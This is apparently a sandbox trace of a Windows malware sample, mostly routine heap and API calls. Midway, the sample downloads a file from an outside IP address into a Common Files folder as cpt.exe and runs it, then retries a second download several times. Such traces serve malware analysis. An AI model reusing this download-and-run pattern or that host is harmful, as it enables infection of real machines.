GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="InitOnceExecuteOnce") returned 0x76e3d627 [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreW") returned 0x76e3ca5a [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0113.724] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleEx") returned 0x76e3c78f [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandle") returned 0x76e4cbfc [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeConditionVariable") returned 0x77358456 [0113.725] GetProcAddress (hModule=0x76e10000, lpProcName="WakeConditionVariable") returned 0x773c7de4 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="WakeAllConditionVariable") returned 0x7738409d [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableCS") returned 0x76ea4b32 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSRWLock") returned 0x77358456 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="AcquireSRWLockExclusive") returned 0x773529f1 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77364892 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSRWLockExclusive") returned 0x773529ab [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="SleepConditionVariableSRW") returned 0x76ea4b74 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWork") returned 0x76e3ee45 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="SubmitThreadpoolWork") returned 0x77398491 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWork") returned 0x7738d8e2 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0113.726] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0113.726] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x824) returned 0x56f938 [0113.727] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0113.727] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x403d70) returned 0x0 [0113.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bf30 [0113.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bf68 [0113.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x54) returned 0x5705b0 [0113.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfa0 [0113.727] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0) returned 1 [0113.728] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0 | out: hHeap=0x550000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfa0 [0113.728] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x54) returned 0x570610 [0113.728] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x5705b0) returned 1 [0113.728] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5705b0 | out: hHeap=0x550000) returned 1 [0113.728] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bf30) returned 1 [0113.728] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bf30 | out: hHeap=0x550000) returned 1 [0113.728] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bf30 [0113.728] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfd8 [0113.728] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x44) returned 0x567bf0 [0113.728] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfd8) returned 1 [0113.728] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfd8 | out: hHeap=0x550000) returned 1 [0113.777] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bf30) returned 1 [0113.777] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bf30 | out: hHeap=0x550000) returned 1 [0113.777] GetProcAddress (hModule=0x76e10000, lpProcName="AreFileApisANSI") returned 0x76ea40d1 [0113.777] AreFileApisANSI () returned 1 [0113.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x567c10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0113.777] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x46) returned 0x567c40 [0113.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x567c10, cbMultiByte=-1, lpWideCharStr=0x567c60, cchWideChar=17 | out: lpWideCharStr="C:\\Program Files") returned 17 [0113.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x18fc8c | out: lpFileInformation=0x18fc8c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa68a9410, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa68a9410, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0113.778] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567c40) returned 1 [0113.778] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567c40 | out: hHeap=0x550000) returned 1 [0113.778] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bf30 [0113.778] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x44) returned 0x567c40 [0113.778] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x570610) returned 1 [0113.778] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570610 | out: hHeap=0x550000) returned 1 [0113.778] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0) returned 1 [0113.778] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0 | out: hHeap=0x550000) returned 1 [0113.778] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfa0 [0113.778] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfd8 [0113.778] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfd8) returned 1 [0113.778] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfd8 | out: hHeap=0x550000) returned 1 [0113.778] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0) returned 1 [0113.778] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0 | out: hHeap=0x550000) returned 1 [0113.779] AreFileApisANSI () returned 1 [0113.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x567c10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0113.779] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x60) returned 0x5705b0 [0113.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x567c10, cbMultiByte=-1, lpWideCharStr=0x5705d0, cchWideChar=30 | out: lpWideCharStr="C:\\Program Files\\Common Files") returned 30 [0113.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x18fc8c | out: lpFileInformation=0x18fc8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa22bcdd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa22bcdd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0113.779] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x5705b0) returned 1 [0113.779] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5705b0 | out: hHeap=0x550000) returned 1 [0113.779] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfa0 [0113.779] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567c40) returned 1 [0113.779] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567c40 | out: hHeap=0x550000) returned 1 [0113.779] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0) returned 1 [0113.779] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0 | out: hHeap=0x550000) returned 1 [0113.779] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfa0 [0113.779] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfd8 [0113.779] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x54) returned 0x5705b0 [0113.780] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567bf0) returned 1 [0113.780] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567bf0 | out: hHeap=0x550000) returned 1 [0113.780] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfd8) returned 1 [0113.780] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfd8 | out: hHeap=0x550000) returned 1 [0113.780] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0) returned 1 [0113.780] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0 | out: hHeap=0x550000) returned 1 [0113.780] AreFileApisANSI () returned 1 [0113.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5705d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0113.780] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x6e) returned 0x570610 [0113.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5705d0, cbMultiByte=-1, lpWideCharStr=0x570630, cchWideChar=37 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System") returned 37 [0113.780] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system"), fInfoLevelId=0x0, lpFileInformation=0x18fc8c | out: lpFileInformation=0x18fc8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0113.780] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x570610) returned 1 [0113.780] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570610 | out: hHeap=0x550000) returned 1 [0113.780] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2c) returned 0x56bfa0 [0113.780] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0) returned 1 [0113.781] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bfa0 | out: hHeap=0x550000) returned 1 [0113.781] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x5705b0) returned 1 [0113.781] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5705b0 | out: hHeap=0x550000) returned 1 [0113.781] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bf68) returned 1 [0113.781] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bf68 | out: hHeap=0x550000) returned 1 [0113.781] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bf30) returned 1 [0113.781] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bf30 | out: hHeap=0x550000) returned 1 [0113.781] GetUserNameA (in: lpBuffer=0x18fe00, pcbBuffer=0x18fdec | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18fdec) returned 1 [0113.784] DeleteUrlCacheEntryA (lpszUrlName="http://58.221.158.90:88/car/cpt.dat") returned 1 [0113.809] URLDownloadToFileA (param_1=0x0, param_2="http://58.221.158.90:88/car/cpt.dat", param_3="C:\\Program Files\\Common Files\\System\\cpt.exe" (normalized: "c:\\program files\\common files\\system\\cpt.exe"), param_4=0x0, param_5=0x0) returned 0x0 [0119.470] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Program Files\\Common Files\\System\\cpt.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fda0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fdf0 | out: lpCommandLine="C:\\Program Files\\Common Files\\System\\cpt.exe", lpProcessInformation=0x18fdf0*(hProcess=0x3c0, hThread=0x3c4, dwProcessId=0x1434, dwThreadId=0x1438)) returned 1 [0119.775] DeleteUrlCacheEntryA (lpszUrlName="http://58.221.158.90:88/car/c.dat") returned 1 [0119.776] URLDownloadToFileA (param_1=0x0, param_2="http://58.221.158.90:88/car/c.dat", param_3="C:\\Program Files\\Common Files\\System\\c.exe" (normalized: "c:\\program files\\common files\\system\\c.exe"), param_4=0x0, param_5=0x0) returned 0x80004004 [0122.614] DeleteUrlCacheEntryA (lpszUrlName="http://58.221.158.90:88/car/c.dat") returned 0 [0122.614] URLDownloadToFileA (param_1=0x0, param_2="http://58.221.158.90:88/car/c.dat", param_3="C:\\Program Files\\Common Files\\System\\c.exe" (normalized: "c:\\program files\\common files\\system\\c.exe"), param_4=0x0, param_5=0x0) returned 0x80004004 [0123.099] DeleteUrlCacheEntryA (lpszUrlName="http://58.221.158.90:88/car/c.dat") returned 1 [0123.102] URLDownloadToFileA (param_1=0x0, param_2="http://58.221.158.90:88/car/c.dat", param_3="C:\\Program Files\\Common Files\\System\\c.exe" (normalized: "c:\\program files\\common files\\system\\c.exe"), param_4=0x0, param_5=0x0) returned 0x80004004 [0123.577] DeleteUrlCacheEntryA (lpszUrlName="http://58.221.158.90:88/car/c.dat") returned 1 [0123.578] URLDownloadToFileA (param_1=0x0, param_2="http://58.221.158.90:88/car/c.dat", param_3="C:\\Program Files\\Common Files\\System\\c.exe" (normalized: "c:\\program files\\common files\\system\\c.exe"), param_4=0x0, param_5=0x0) returned 0x80004004 [0127.070] DeleteUrlCacheEntryA (lpszUrlName="http://58.221.158.90:88/car/c.dat") returned 1 [0127.070] URLDownloadToFileA (param_1=0x0, param_2="http://58.221.158.90:88/car/c.dat", param_3="C:\\Program Files\\Common Files\\System\\c.exe" (normalized: "c:\\program files\\common files\\system\\c.exe"), param_4=0x0, param_5=0x0) returned 0x80004004 [0130.625] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0130.625] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0130.625] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f088) returned 1 [0130.625] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f088 | out: hHeap=0x550000) returned 1 [0130.625] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f938) returned 1 [0130.625] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f938 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567a10) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567a10 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56cfd0) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cfd0 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f200) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f200 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f268) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f268 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f2d0) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f2d0 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x5664a0) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5664a0 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567a60) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567a60 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f330) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f330 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f370) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f370 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f3b0) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f3b0 | out: hHeap=0x550000) returned 1 [0130.626] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f408) returned 1 [0130.626] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f408 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x5664e8) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5664e8 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x566530) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x566530 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f470) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f470 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f4b0) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f4b0 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f548) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f548 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x566578) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x566578 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567ab0) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567ab0 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f5b8) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f5b8 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f630) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f630 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x5665c0) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5665c0 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x566608) returned 1 [0130.627] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x566608 | out: hHeap=0x550000) returned 1 [0130.627] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567b00) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567b00 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f670) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f670 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567b50) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567b50 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56bef8) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56bef8 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f6c8) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f6c8 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x566650) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x566650 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f738) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f738 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x566698) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x566698 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f778) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f778 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f7d0) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f7d0 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x5666e0) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5666e0 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x567ba0) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x567ba0 | out: hHeap=0x550000) returned 1 [0130.628] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f828) returned 1 [0130.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f828 | out: hHeap=0x550000) returned 1 [0130.629] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f880) returned 1 [0130.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f880 | out: hHeap=0x550000) returned 1 [0130.629] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x566728) returned 1 [0130.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x566728 | out: hHeap=0x550000) returned 1 [0130.629] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f8c0) returned 1 [0130.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f8c0 | out: hHeap=0x550000) returned 1 [0130.629] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56f138) returned 1 [0130.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56f138 | out: hHeap=0x550000) returned 1 [0130.629] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x5615e0) returned 1 [0130.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5615e0 | out: hHeap=0x550000) returned 1 [0130.630] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56d458) returned 1 [0130.630] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56d458 | out: hHeap=0x550000) returned 1 [0130.630] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0130.631] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd80) returned 1 [0130.631] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56cd80 | out: hHeap=0x550000) returned 1 [0130.631] HeapValidate (hHeap=0x550000, dwFlags=0x0, lpMem=0x56d0c8) returned 1 [0130.631] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56d0c8 | out: hHeap=0x550000) returned 1 [0130.631] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0130.631] FreeLibrary (hLibModule=0x76e10000) returned 1 [0130.632] FreeLibrary (hLibModule=0x73f10000) returned 1 [0130.632] FreeLibrary (hLibModule=0x76e10000) returned 1 [0130.632] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0130.632] GetLastError () returned 0x57 [0130.632] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0130.633] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0130.633] GetLastError () returned 0x57 [0130.633] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x0) returned 0x0 [0130.633] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18feac | out: phModule=0x18feac) returned 0 [0130.633] ExitProcess (uExitCode=0x0) Thread: id = 732 os_tid = 0x1288 Thread: id = 734 os_tid = 0x11c4 Thread: id = 736 os_tid = 0x11b4 Thread: 